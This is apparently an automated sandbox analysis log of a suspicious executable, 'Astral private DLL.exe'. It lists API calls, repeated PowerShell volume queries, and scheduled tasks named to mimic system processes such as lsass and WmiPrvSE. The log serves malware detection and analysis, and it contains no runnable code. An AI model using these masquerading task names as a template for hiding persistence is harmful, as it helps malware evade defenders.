Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe

Code function: 1_2_0017F654 cpuid

1_2_0017F654

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

1_2_0017AF0F

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Queries volume information: C:\containerperf\ServerComponenthostMonitorDll.exe VolumeInformation	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\powershellp VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\powershellp VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\lsassl VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\lsassl VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\lsass VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\lsass VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\lsassl VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\lsassl VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\sihosts VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\sihosts VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\sihost VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\sihost VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\sihosts VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\WmiPrvSEW VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\WmiPrvSEW VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\WmiPrvSE VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\WmiPrvSE VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\WmiPrvSEW VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\WmiPrvSEW VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\WmiPrvSEW VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\WmiPrvSEW VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\WmiPrvSE VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\WmiPrvSE VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\WmiPrvSEW VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\WmiPrvSEW VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\ServerComponenthostMonitorDllS VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\ServerComponenthostMonitorDllS VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\ServerComponenthostMonitorDll VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\ServerComponenthostMonitorDll VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\ServerComponenthostMonitorDllS VolumeInformation

Source: C:\Windows\System32\dialer.exe

Code function: 20_2_00007FF603B01C64 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

20_2_00007FF603B01C64

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe

Code function: 1_2_0017DF1E GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

